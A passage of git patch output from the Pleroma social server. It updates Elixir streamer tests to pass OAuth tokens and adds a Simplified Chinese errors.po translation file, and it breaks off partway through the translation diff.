_, ^activity} @@ -420,23 +506,26 @@ test "it sends message if recipients invalid and thread containment is enabled b end describe "blocks" do - test "it filters messages involving blocked users" do - user = insert(:user) + setup do: oauth_access(["read"]) + + test "it filters messages involving blocked users", %{user: user, token: oauth_token} do blocked_user = insert(:user) {:ok, _user_relationship} = User.block(user, blocked_user) - Streamer.get_topic_and_add_socket("public", user) + Streamer.get_topic_and_add_socket("public", user, oauth_token) {:ok, activity} = CommonAPI.post(blocked_user, %{status: "Test"}) assert_receive {:render_with_user, _, _, ^activity} assert Streamer.filtered_by_user?(user, activity) end - test "it filters messages transitively involving blocked users" do - blocker = insert(:user) + test "it filters messages transitively involving blocked users", %{ + user: blocker, + token: blocker_token + } do blockee = insert(:user) friend = insert(:user) - Streamer.get_topic_and_add_socket("public", blocker) + Streamer.get_topic_and_add_socket("public", blocker, blocker_token) {:ok, _user_relationship} = User.block(blocker, blockee) @@ -458,8 +547,9 @@ test "it filters messages transitively involving blocked users" do end describe "lists" do - test "it doesn't send unwanted DMs to list" do - user_a = insert(:user) + setup do: oauth_access(["read"]) + + test "it doesn't send unwanted DMs to list", %{user: user_a, token: user_a_token} do user_b = insert(:user) user_c = insert(:user) @@ -468,7 +558,7 @@ test "it doesn't send unwanted DMs to list" do {:ok, list} = List.create("Test", user_a) {:ok, list} = List.follow(list, user_b) - Streamer.get_topic_and_add_socket("list", user_a, %{"list" => list.id}) + Streamer.get_topic_and_add_socket("list", user_a, user_a_token, %{"list" => list.id}) {:ok, _activity} = CommonAPI.post(user_b, %{ @@ -479,14 +569,13 @@ test "it doesn't send unwanted DMs to list" do refute_receive _ end - test "it doesn't send unwanted private posts to list" do - user_a = insert(:user) + test "it doesn't send unwanted private posts to list", %{user: user_a, token: user_a_token} do user_b = insert(:user) {:ok, list} = List.create("Test", user_a) {:ok, list} = List.follow(list, user_b) - Streamer.get_topic_and_add_socket("list", user_a, %{"list" => list.id}) + Streamer.get_topic_and_add_socket("list", user_a, user_a_token, %{"list" => list.id}) {:ok, _activity} = CommonAPI.post(user_b, %{ @@ -497,8 +586,7 @@ test "it doesn't send unwanted private posts to list" do refute_receive _ end - test "it sends wanted private posts to list" do - user_a = insert(:user) + test "it sends wanted private posts to list", %{user: user_a, token: user_a_token} do user_b = insert(:user) {:ok, user_a} = User.follow(user_a, user_b) @@ -506,7 +594,7 @@ test "it sends wanted private posts to list" do {:ok, list} = List.create("Test", user_a) {:ok, list} = List.follow(list, user_b) - Streamer.get_topic_and_add_socket("list", user_a, %{"list" => list.id}) + Streamer.get_topic_and_add_socket("list", user_a, user_a_token, %{"list" => list.id}) {:ok, activity} = CommonAPI.post(user_b, %{ @@ -520,8 +608,9 @@ test "it sends wanted private posts to list" do end describe "muted reblogs" do - test "it filters muted reblogs" do - user1 = insert(:user) + setup do: oauth_access(["read"]) + + test "it filters muted reblogs", %{user: user1, token: user1_token} do user2 = insert(:user) user3 = insert(:user) CommonAPI.follow(user1, user2) @@ -529,34 +618,38 @@ test "it filters muted reblogs" do {:ok, create_activity} = CommonAPI.post(user3, %{status: "I'm kawen"}) - Streamer.get_topic_and_add_socket("user", user1) + Streamer.get_topic_and_add_socket("user", user1, user1_token) {:ok, announce_activity} = CommonAPI.repeat(create_activity.id, user2) assert_receive {:render_with_user, _, _, ^announce_activity} assert Streamer.filtered_by_user?(user1, announce_activity) end - test "it filters reblog notification for reblog-muted actors" do - user1 = insert(:user) + test "it filters reblog notification for reblog-muted actors", %{ + user: user1, + token: user1_token + } do user2 = insert(:user) CommonAPI.follow(user1, user2) CommonAPI.hide_reblogs(user1, user2) {:ok, create_activity} = CommonAPI.post(user1, %{status: "I'm kawen"}) - Streamer.get_topic_and_add_socket("user", user1) + Streamer.get_topic_and_add_socket("user", user1, user1_token) {:ok, _announce_activity} = CommonAPI.repeat(create_activity.id, user2) assert_receive {:render_with_user, _, "notification.json", notif} assert Streamer.filtered_by_user?(user1, notif) end - test "it send non-reblog notification for reblog-muted actors" do - user1 = insert(:user) + test "it send non-reblog notification for reblog-muted actors", %{ + user: user1, + token: user1_token + } do user2 = insert(:user) CommonAPI.follow(user1, user2) CommonAPI.hide_reblogs(user1, user2) {:ok, create_activity} = CommonAPI.post(user1, %{status: "I'm kawen"}) - Streamer.get_topic_and_add_socket("user", user1) + Streamer.get_topic_and_add_socket("user", user1, user1_token) {:ok, _favorite_activity} = CommonAPI.favorite(user2, create_activity.id) assert_receive {:render_with_user, _, "notification.json", notif} @@ -564,27 +657,28 @@ test "it send non-reblog notification for reblog-muted actors" do end end - test "it filters posts from muted threads" do - user = insert(:user) - user2 = insert(:user) - Streamer.get_topic_and_add_socket("user", user2) - {:ok, user2, user, _activity} = CommonAPI.follow(user2, user) - {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) - {:ok, _} = CommonAPI.add_mute(user2, activity) - assert_receive {:render_with_user, _, _, ^activity} - assert Streamer.filtered_by_user?(user2, activity) + describe "muted threads" do + test "it filters posts from muted threads" do + user = insert(:user) + %{user: user2, token: user2_token} = oauth_access(["read"]) + Streamer.get_topic_and_add_socket("user", user2, user2_token) + + {:ok, user2, user, _activity} = CommonAPI.follow(user2, user) + {:ok, activity} = CommonAPI.post(user, %{status: "super hot take"}) + {:ok, _} = CommonAPI.add_mute(user2, activity) + + assert_receive {:render_with_user, _, _, ^activity} + assert Streamer.filtered_by_user?(user2, activity) + end end describe "direct streams" do - setup do - :ok - end + setup do: oauth_access(["read"]) - test "it sends conversation update to the 'direct' stream", %{} do - user = insert(:user) + test "it sends conversation update to the 'direct' stream", %{user: user, token: oauth_token} do another_user = insert(:user) - Streamer.get_topic_and_add_socket("direct", user) + Streamer.get_topic_and_add_socket("direct", user, oauth_token) {:ok, _create_activity} = CommonAPI.post(another_user, %{ @@ -602,11 +696,11 @@ test "it sends conversation update to the 'direct' stream", %{} do assert last_status["pleroma"]["direct_conversation_id"] == participation.id end - test "it doesn't send conversation update to the 'direct' stream when the last message in the conversation is deleted" do - user = insert(:user) + test "it doesn't send conversation update to the 'direct' stream when the last message in the conversation is deleted", + %{user: user, token: oauth_token} do another_user = insert(:user) - Streamer.get_topic_and_add_socket("direct", user) + Streamer.get_topic_and_add_socket("direct", user, oauth_token) {:ok, create_activity} = CommonAPI.post(another_user, %{ @@ -629,10 +723,12 @@ test "it doesn't send conversation update to the 'direct' stream when the last m refute_receive _ end - test "it sends conversation update to the 'direct' stream when a message is deleted" do - user = insert(:user) + test "it sends conversation update to the 'direct' stream when a message is deleted", %{ + user: user, + token: oauth_token + } do another_user = insert(:user) - Streamer.get_topic_and_add_socket("direct", user) + Streamer.get_topic_and_add_socket("direct", user, oauth_token) {:ok, create_activity} = CommonAPI.post(another_user, %{ -- cgit v1.2.3 From d72970a1fc852c6a5c836ffd3983f65ddf4ca459 Mon Sep 17 00:00:00 2001 From: Kana Date: Sun, 20 Sep 2020 13:18:26 +0000 Subject: Added translation using Weblate (Chinese (Simplified)) --- priv/gettext/zh_Hans/LC_MESSAGES/errors.po | 578 +++++++++++++++++++++++++++++ 1 file changed, 578 insertions(+) create mode 100644 priv/gettext/zh_Hans/LC_MESSAGES/errors.po diff --git a/priv/gettext/zh_Hans/LC_MESSAGES/errors.po b/priv/gettext/zh_Hans/LC_MESSAGES/errors.po new file mode 100644 index 000000000..8383badc3 --- /dev/null +++ b/priv/gettext/zh_Hans/LC_MESSAGES/errors.po @@ -0,0 +1,578 @@ +msgid "" +msgstr "" +"Project-Id-Version: PACKAGE VERSION\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2020-09-20 13:18+0000\n" +"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" +"Last-Translator: Automatically generated\n" +"Language-Team: none\n" +"Language: zh_Hans\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: Translate Toolkit 2.5.1\n" + +## This file is a PO Template file. +## +## `msgid`s here are often extracted from source code. +## Add new translations manually only if they're dynamic +## translations that can't be statically extracted. +## +## Run `mix gettext.extract` to bring this file up to +## date. Leave `msgstr`s empty as changing them here as no +## effect: edit them in PO (`.po`) files instead. +## From Ecto.Changeset.cast/4 +msgid "can't be blank" +msgstr "" + +## From Ecto.Changeset.unique_constraint/3 +msgid "has already been taken" +msgstr "" + +## From Ecto.Changeset.put_change/3 +msgid "is invalid" +msgstr "" + +## From Ecto.Changeset.validate_format/3 +msgid "has invalid format" +msgstr "" + +## From Ecto.Changeset.validate_subset/3 +msgid "has an invalid entry" +msgstr "" + +## From Ecto.Changeset.validate_exclusion/3 +msgid "is reserved" +msgstr "" + +## From Ecto.Changeset.validate_confirmation/3 +msgid "does not match confirmation" +msgstr "" + +## From Ecto.Changeset.no_assoc_constraint/3 +msgid "is still associated with this entry" +msgstr "" + +msgid "are still associated with this entry" +msgstr "" + +## From Ecto.Changeset.validate_length/3 +msgid "should be %{count} character(s)" +msgid_plural "should be %{count} character(s)" +msgstr[0] "" + +msgid "should have %{count} item(s)" +msgid_plural "should have %{count} item(s)" +msgstr[0] "" + +msgid "should be at least %{count} character(s)" +msgid_plural "should be at least %{count} character(s)" +msgstr[0] "" + +msgid "should have at least %{count} item(s)" +msgid_plural "should have at least %{count} item(s)" +msgstr[0] "" + +msgid "should be at most %{count} character(s)" +msgid_plural "should be at most %{count} character(s)" +msgstr[0] "" + +msgid "should have at most %{count} item(s)" +msgid_plural "should have at most %{count} item(s)" +msgstr[0] "" + +## From Ecto.Changeset.validate_number/3 +msgid "must be less than %{number}" +msgstr "" + +msgid "must be greater than %{number}" +msgstr "" + +msgid "must be less than or equal to %{number}" +msgstr "" + +msgid "must be greater than or equal to %{number}" +msgstr "" + +msgid "must be equal to %{number}" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:505 +#, elixir-format +msgid "Account not found" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:339 +#, elixir-format +msgid "Already voted" +msgstr "" + +#: lib/pleroma/web/oauth/oauth_controller.ex:359 +#, elixir-format +msgid "Bad request" +msgstr "" + +#: lib/pleroma/web/activity_pub/activity_pub_controller.ex:426 +#, elixir-format +msgid "Can't delete object" +msgstr "" + +#: lib/pleroma/web/controller_helper.ex:105 +#: lib/pleroma/web/controller_helper.ex:111 +#, elixir-format +msgid "Can't display this activity" +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/account_controller.ex:285 +#, elixir-format +msgid "Can't find user" +msgstr "" + +#: lib/pleroma/web/pleroma_api/controllers/account_controller.ex:61 +#, elixir-format +msgid "Can't get favorites" +msgstr "" + +#: lib/pleroma/web/activity_pub/activity_pub_controller.ex:438 +#, elixir-format +msgid "Can't like object" +msgstr "" + +#: lib/pleroma/web/common_api/utils.ex:563 +#, elixir-format +msgid "Cannot post an empty status without attachments" +msgstr "" + +#: lib/pleroma/web/common_api/utils.ex:511 +#, elixir-format +msgid "Comment must be up to %{max_size} characters" +msgstr "" + +#: lib/pleroma/config/config_db.ex:191 +#, elixir-format +msgid "Config with params %{params} not found" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:181 +#: lib/pleroma/web/common_api/common_api.ex:185 +#, elixir-format +msgid "Could not delete" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:231 +#, elixir-format +msgid "Could not favorite" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:453 +#, elixir-format +msgid "Could not pin" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:278 +#, elixir-format +msgid "Could not unfavorite" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:463 +#, elixir-format +msgid "Could not unpin" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:216 +#, elixir-format +msgid "Could not unrepeat" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:512 +#: lib/pleroma/web/common_api/common_api.ex:521 +#, elixir-format +msgid "Could not update state" +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex:207 +#, elixir-format +msgid "Error." +msgstr "" + +#: lib/pleroma/web/twitter_api/twitter_api.ex:106 +#, elixir-format +msgid "Invalid CAPTCHA" +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/account_controller.ex:116 +#: lib/pleroma/web/oauth/oauth_controller.ex:568 +#, elixir-format +msgid "Invalid credentials" +msgstr "" + +#: lib/pleroma/plugs/ensure_authenticated_plug.ex:38 +#, elixir-format +msgid "Invalid credentials." +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:355 +#, elixir-format +msgid "Invalid indices" +msgstr "" + +#: lib/pleroma/web/admin_api/controllers/fallback_controller.ex:29 +#, elixir-format +msgid "Invalid parameters" +msgstr "" + +#: lib/pleroma/web/common_api/utils.ex:414 +#, elixir-format +msgid "Invalid password." +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/account_controller.ex:220 +#, elixir-format +msgid "Invalid request" +msgstr "" + +#: lib/pleroma/web/twitter_api/twitter_api.ex:109 +#, elixir-format +msgid "Kocaptcha service unavailable" +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/account_controller.ex:112 +#, elixir-format +msgid "Missing parameters" +msgstr "" + +#: lib/pleroma/web/common_api/utils.ex:547 +#, elixir-format +msgid "No such conversation" +msgstr "" + +#: lib/pleroma/web/admin_api/controllers/admin_api_controller.ex:388 +#: lib/pleroma/web/admin_api/controllers/admin_api_controller.ex:414 lib/pleroma/web/admin_api/controllers/admin_api_controller.ex:456 +#, elixir-format +msgid "No such permission_group" +msgstr "" + +#: lib/pleroma/plugs/uploaded_media.ex:84 +#: lib/pleroma/web/activity_pub/activity_pub_controller.ex:486 lib/pleroma/web/admin_api/controllers/fallback_controller.ex:11 +#: lib/pleroma/web/feed/user_controller.ex:71 lib/pleroma/web/ostatus/ostatus_controller.ex:143 +#, elixir-format +msgid "Not found" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:331 +#, elixir-format +msgid "Poll's author can't vote" +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/fallback_controller.ex:20 +#: lib/pleroma/web/mastodon_api/controllers/poll_controller.ex:37 lib/pleroma/web/mastodon_api/controllers/poll_controller.ex:49 +#: lib/pleroma/web/mastodon_api/controllers/poll_controller.ex:50 lib/pleroma/web/mastodon_api/controllers/status_controller.ex:306 +#: lib/pleroma/web/mastodon_api/controllers/subscription_controller.ex:71 +#, elixir-format +msgid "Record not found" +msgstr "" + +#: lib/pleroma/web/admin_api/controllers/fallback_controller.ex:35 +#: lib/pleroma/web/feed/user_controller.ex:77 lib/pleroma/web/mastodon_api/controllers/fallback_controller.ex:36 +#: lib/pleroma/web/ostatus/ostatus_controller.ex:149 +#, elixir-format +msgid "Something went wrong" +msgstr "" + +#: lib/pleroma/web/common_api/activity_draft.ex:107 +#, elixir-format +msgid "The message visibility must be direct" +msgstr "" + +#: lib/pleroma/web/common_api/utils.ex:573 +#, elixir-format +msgid "The status is over the character limit" +msgstr "" + +#: lib/pleroma/plugs/ensure_public_or_authenticated_plug.ex:31 +#, elixir-format +msgid "This resource requires authentication." +msgstr "" + +#: lib/pleroma/plugs/rate_limiter/rate_limiter.ex:206 +#, elixir-format +msgid "Throttled" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:356 +#, elixir-format +msgid "Too many choices" +msgstr "" + +#: lib/pleroma/web/activity_pub/activity_pub_controller.ex:443 +#, elixir-format +msgid "Unhandled activity type" +msgstr "" + +#: lib/pleroma/web/admin_api/controllers/admin_api_controller.ex:485 +#, elixir-format +msgid "You can't revoke your own admin status." +msgstr "" + +#: lib/pleroma/web/oauth/oauth_controller.ex:221 +#: lib/pleroma/web/oauth/oauth_controller.ex:308 +#, elixir-format +msgid "Your account is currently disabled" +msgstr "" + +#: lib/pleroma/web/oauth/oauth_controller.ex:183 +#: lib/pleroma/web/oauth/oauth_controller.ex:331 +#, elixir-format +msgid "Your login is missing a confirmed e-mail address" +msgstr "" + +#: lib/pleroma/web/activity_pub/activity_pub_controller.ex:390 +#, elixir-format +msgid "can't read inbox of %{nickname} as %{as_nickname}" +msgstr "" + +#: lib/pleroma/web/activity_pub/activity_pub_controller.ex:473 +#, elixir-format +msgid "can't update outbox of %{nickname} as %{as_nickname}" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:471 +#, elixir-format +msgid "conversation is already muted" +msgstr "" + +#: lib/pleroma/web/activity_pub/activity_pub_controller.ex:314 +#: lib/pleroma/web/activity_pub/activity_pub_controller.ex:492 +#, elixir-format +msgid "error" +msgstr "" + +#: lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex:32 +#, elixir-format +msgid "mascots can only be images" +msgstr "" + +#: lib/pleroma/web/activity_pub/activity_pub_controller.ex:62 +#, elixir-format +msgid "not found" +msgstr "" + +#: lib/pleroma/web/oauth/oauth_controller.ex:394 +#, elixir-format +msgid "Bad OAuth request." +msgstr "" + +#: lib/pleroma/web/twitter_api/twitter_api.ex:115 +#, elixir-format +msgid "CAPTCHA already used" +msgstr "" + +#: lib/pleroma/web/twitter_api/twitter_api.ex:112 +#, elixir-format +msgid "CAPTCHA expired" +msgstr "" + +#: lib/pleroma/plugs/uploaded_media.ex:57 +#, elixir-format +msgid "Failed" +msgstr "" + +#: lib/pleroma/web/oauth/oauth_controller.ex:410 +#, elixir-format +msgid "Failed to authenticate: %{message}." +msgstr "" + +#: lib/pleroma/web/oauth/oauth_controller.ex:441 +#, elixir-format +msgid "Failed to set up user account." +msgstr "" + +#: lib/pleroma/plugs/oauth_scopes_plug.ex:38 +#, elixir-format +msgid "Insufficient permissions: %{permissions}." +msgstr "" + +#: lib/pleroma/plugs/uploaded_media.ex:104 +#, elixir-format +msgid "Internal Error" +msgstr "" + +#: lib/pleroma/web/oauth/fallback_controller.ex:22 +#: lib/pleroma/web/oauth/fallback_controller.ex:29 +#, elixir-format +msgid "Invalid Username/Password" +msgstr "" + +#: lib/pleroma/web/twitter_api/twitter_api.ex:118 +#, elixir-format +msgid "Invalid answer data" +msgstr "" + +#: lib/pleroma/web/nodeinfo/nodeinfo_controller.ex:33 +#, elixir-format +msgid "Nodeinfo schema version not handled" +msgstr "" + +#: lib/pleroma/web/oauth/oauth_controller.ex:172 +#, elixir-format +msgid "This action is outside the authorized scopes" +msgstr "" + +#: lib/pleroma/web/oauth/fallback_controller.ex:14 +#, elixir-format +msgid "Unknown error, please check the details and try again." +msgstr "" + +#: lib/pleroma/web/oauth/oauth_controller.ex:119 +#: lib/pleroma/web/oauth/oauth_controller.ex:158 +#, elixir-format +msgid "Unlisted redirect_uri." +msgstr "" + +#: lib/pleroma/web/oauth/oauth_controller.ex:390 +#, elixir-format +msgid "Unsupported OAuth provider: %{provider}." +msgstr "" + +#: lib/pleroma/uploaders/uploader.ex:72 +#, elixir-format +msgid "Uploader callback timeout" +msgstr "" + +#: lib/pleroma/web/uploader_controller.ex:23 +#, elixir-format +msgid "bad request" +msgstr "" + +#: lib/pleroma/web/twitter_api/twitter_api.ex:103 +#, elixir-format +msgid "CAPTCHA Error" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:290 +#, elixir-format +msgid "Could not add reaction emoji" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:301 +#, elixir-format +msgid "Could not remove reaction emoji" +msgstr "" + +#: lib/pleroma/web/twitter_api/twitter_api.ex:129 +#, elixir-format +msgid "Invalid CAPTCHA (Missing parameter: %{name})" +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/list_controller.ex:92 +#, elixir-format +msgid "List not found" +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/account_controller.ex:123 +#, elixir-format +msgid "Missing parameter: %{name}" +msgstr "" + +#: lib/pleroma/web/oauth/oauth_controller.ex:210 +#: lib/pleroma/web/oauth/oauth_controller.ex:321 +#, elixir-format +msgid "Password reset is required" +msgstr "" + +#: lib/pleroma/tests/auth_test_controller.ex:9 +#: lib/pleroma/web/activity_pub/activity_pub_controller.ex:6 lib/pleroma/web/admin_api/controllers/admin_api_controller.ex:6 +#: lib/pleroma/web/admin_api/controllers/config_controller.ex:6 lib/pleroma/web/admin_api/controllers/fallback_controller.ex:6 +#: lib/pleroma/web/admin_api/controllers/invite_controller.ex:6 lib/pleroma/web/admin_api/controllers/media_proxy_cache_controller.ex:6 +#: lib/pleroma/web/admin_api/controllers/oauth_app_controller.ex:6 lib/pleroma/web/admin_api/controllers/relay_controller.ex:6 +#: lib/pleroma/web/admin_api/controllers/report_controller.ex:6 lib/pleroma/web/admin_api/controllers/status_controller.ex:6 +#: lib/pleroma/web/controller_helper.ex:6 lib/pleroma/web/embed_controller.ex:6 +#: lib/pleroma/web/fallback_redirect_controller.ex:6 lib/pleroma/web/feed/tag_controller.ex:6 +#: lib/pleroma/web/feed/user_controller.ex:6 lib/pleroma/web/mailer/subscription_controller.ex:2 +#: lib/pleroma/web/masto_fe_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/account_controller.ex:6 +#: lib/pleroma/web/mastodon_api/controllers/app_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/auth_controller.ex:6 +#: lib/pleroma/web/mastodon_api/controllers/conversation_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/custom_emoji_controller.ex:6 +#: lib/pleroma/web/mastodon_api/controllers/domain_block_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/fallback_controller.ex:6 +#: lib/pleroma/web/mastodon_api/controllers/filter_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/follow_request_controller.ex:6 +#: lib/pleroma/web/mastodon_api/controllers/instance_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/list_controller.ex:6 +#: lib/pleroma/web/mastodon_api/controllers/marker_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex:14 +#: lib/pleroma/web/mastodon_api/controllers/media_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/notification_controller.ex:6 +#: lib/pleroma/web/mastodon_api/controllers/poll_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/report_controller.ex:8 +#: lib/pleroma/web/mastodon_api/controllers/scheduled_activity_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/search_controller.ex:6 +#: lib/pleroma/web/mastodon_api/controllers/status_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/subscription_controller.ex:7 +#: lib/pleroma/web/mastodon_api/controllers/suggestion_controller.ex:6 lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex:6 +#: lib/pleroma/web/media_proxy/media_proxy_controller.ex:6 lib/pleroma/web/mongooseim/mongoose_im_controller.ex:6 +#: lib/pleroma/web/nodeinfo/nodeinfo_controller.ex:6 lib/pleroma/web/oauth/fallback_controller.ex:6 +#: lib/pleroma/web/oauth/mfa_controller.ex:10 lib/pleroma/web/oauth/oauth_controller.ex:6 +#: lib/pleroma/web/ostatus/ostatus_controller.ex:6 lib/pleroma/web/pleroma_api/controllers/account_controller.ex:6 +#: lib/pleroma/web/pleroma_api/controllers/chat_controller.ex:5 lib/pleroma/web/pleroma_api/controllers/conversation_controller.ex:6 +#: lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex:2 lib/pleroma/web/pleroma_api/controllers/emoji_reaction_controller.ex:6 +#: lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex:6 lib/pleroma/web/pleroma_api/controllers/notification_controller.ex:6 +#: lib/pleroma/web/pleroma_api/controllers/scrobble_controller.ex:6 +#: lib/pleroma/web/pleroma_api/controllers/two_factor_authentication_controller.ex:7 lib/pleroma/web/static_fe/static_fe_controller.ex:6 +#: lib/pleroma/web/twitter_api/controllers/password_controller.ex:10 lib/pleroma/web/twitter_api/controllers/remote_follow_controller.ex:6 +#: lib/pleroma/web/twitter_api/controllers/util_controller.ex:6 lib/pleroma/web/twitter_api/twitter_api_controller.ex:6 +#: lib/pleroma/web/uploader_controller.ex:6 lib/pleroma/web/web_finger/web_finger_controller.ex:6 +#, elixir-format +msgid "Security violation: OAuth scopes check was neither handled nor explicitly skipped." +msgstr "" + +#: lib/pleroma/plugs/ensure_authenticated_plug.ex:28 +#, elixir-format +msgid "Two-factor authentication enabled, you must use a access token." +msgstr "" + +#: lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex:210 +#, elixir-format +msgid "Unexpected error occurred while adding file to pack." +msgstr "" + +#: lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex:138 +#, elixir-format +msgid "Unexpected error occurred while creating pack." +msgstr "" + +#: lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex:278 +#, elixir-format +msgid "Unexpected error occurred while removing file from pack." +msgstr "" + +#: lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex:250 +#, elixir-format +msgid "Unexpected error occurred while updating file in pack." +msgstr "" + +#: lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex:179 +#, elixir-format +msgid "Unexpected error occurred while updating pack metadata." +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/subscription_controller.ex:61 +#, elixir-format +msgid "Web push subscription is disabled on this Pleroma instance" +msgstr "" + +#: lib/pleroma/web/admin_api/controllers/admin_api_controller.ex:451 +#, elixir-format +msgid "You can't revoke your own admin/moderator status." +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex:126 +#, elixir-format +msgid "authorization required for timeline view" +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/fallback_controller.ex:24 +#, elixir-format +msgid "Access denied" +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/account_controller.ex:282 +#, elixir-format +msgid "This API requires an authenticated user" +msgstr "" + +#: lib/pleroma/plugs/user_is_admin_plug.ex:21 +#, elixir-format +msgid "User is not an admin." +msgstr "" -- cgit v1.2.3 From f3c62b246d6d0b2aab5e155e625118bd2a3d5e8a Mon Sep 17 00:00:00 2001 From: Kana Date: Sun, 20 Sep 2020 13:19:21 +0000 Subject: Translated using Weblate (Chinese (Simplified)) Currently translated at 24.5% (26 of 106 strings) Translation: Pleroma/Pleroma backend Translate-URL: https://translate.pleroma.social/projects/pleroma/pleroma/zh_Hans/ --- priv/gettext/zh_Hans/LC_MESSAGES/errors.po | 62 +++++++++++++++--------------- 1 file changed, 32 insertions(+), 30 deletions(-) diff --git a/priv/gettext/zh_Hans/LC_MESSAGES/errors.po b/priv/gettext/zh_Hans/LC_MESSAGES/errors.po index 8383badc3..4f029d558 100644 --- a/priv/gettext/zh_Hans/LC_MESSAGES/errors.po +++ b/priv/gettext/zh_Hans/LC_MESSAGES/errors.po @@ -3,14 +3,16 @@ msgstr "" "Project-Id-Version: PACKAGE VERSION\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2020-09-20 13:18+0000\n" -"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" -"Last-Translator: Automatically generated\n" -"Language-Team: none\n" +"PO-Revision-Date: 2020-09-20 14:48+0000\n" +"Last-Translator: Kana \n" +"Language-Team: Chinese (Simplified) \n" "Language: zh_Hans\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" -"X-Generator: Translate Toolkit 2.5.1\n" +"Plural-Forms: nplurals=1; plural=0;\n" +"X-Generator: Weblate 4.0.4\n" ## This file is a PO Template file. ## @@ -23,27 +25,27 @@ msgstr "" ## effect: edit them in PO (`.po`) files instead. ## From Ecto.Changeset.cast/4 msgid "can't be blank" -msgstr "" +msgstr "不能为空" ## From Ecto.Changeset.unique_constraint/3 msgid "has already been taken" -msgstr "" +msgstr "已被占用" ## From Ecto.Changeset.put_change/3 msgid "is invalid" -msgstr "" +msgstr "不合法" ## From Ecto.Changeset.validate_format/3 msgid "has invalid format" -msgstr "" +msgstr "的格式不合法" ## From Ecto.Changeset.validate_subset/3 msgid "has an invalid entry" -msgstr "" +msgstr "中存在不合法的项目" ## From Ecto.Changeset.validate_exclusion/3 msgid "is reserved" -msgstr "" +msgstr "是被保留的" ## From Ecto.Changeset.validate_confirmation/3 msgid "does not match confirmation" @@ -51,87 +53,87 @@ msgstr "" ## From Ecto.Changeset.no_assoc_constraint/3 msgid "is still associated with this entry" -msgstr "" +msgstr "仍与该项目相关联" msgid "are still associated with this entry" -msgstr "" +msgstr "仍与该项目相关联" ## From Ecto.Changeset.validate_length/3 msgid "should be %{count} character(s)" msgid_plural "should be %{count} character(s)" -msgstr[0] "" +msgstr[0] "应为 %{count} 个字符" msgid "should have %{count} item(s)" msgid_plural "should have %{count} item(s)" -msgstr[0] "" +msgstr[0] "应有 %{item} 项" msgid "should be at least %{count} character(s)" msgid_plural "should be at least %{count} character(s)" -msgstr[0] "" +msgstr[0] "应至少有 %{count} 个字符" msgid "should have at least %{count} item(s)" msgid_plural "should have at least %{count} item(s)" -msgstr[0] "" +msgstr[0] "应至少有 %{count} 项" msgid "should be at most %{count} character(s)" msgid_plural "should be at most %{count} character(s)" -msgstr[0] "" +msgstr[0] "应至多有 %{count} 个字符" msgid "should have at most %{count} item(s)" msgid_plural "should have at most %{count} item(s)" -msgstr[0] "" +msgstr[0] "应至多有 %{count} 项" ## From Ecto.Changeset.validate_number/3 msgid "must be less than %{number}" -msgstr "" +msgstr "必须小于 %{number}" msgid "must be greater than %{number}" -msgstr "" +msgstr "必须大于 %{number}" msgid "must be less than or equal to %{number}" -msgstr "" +msgstr "必须小于等于 %{number}" msgid "must be greater than or equal to %{number}" -msgstr "" +msgstr "必须大于等于 %{number}" msgid "must be equal to %{number}" -msgstr "" +msgstr "必须等于 %{number}" #: lib/pleroma/web/common_api/common_api.ex:505 #, elixir-format msgid "Account not found" -msgstr "" +msgstr "未找到账号" #: lib/pleroma/web/common_api/common_api.ex:339 #, 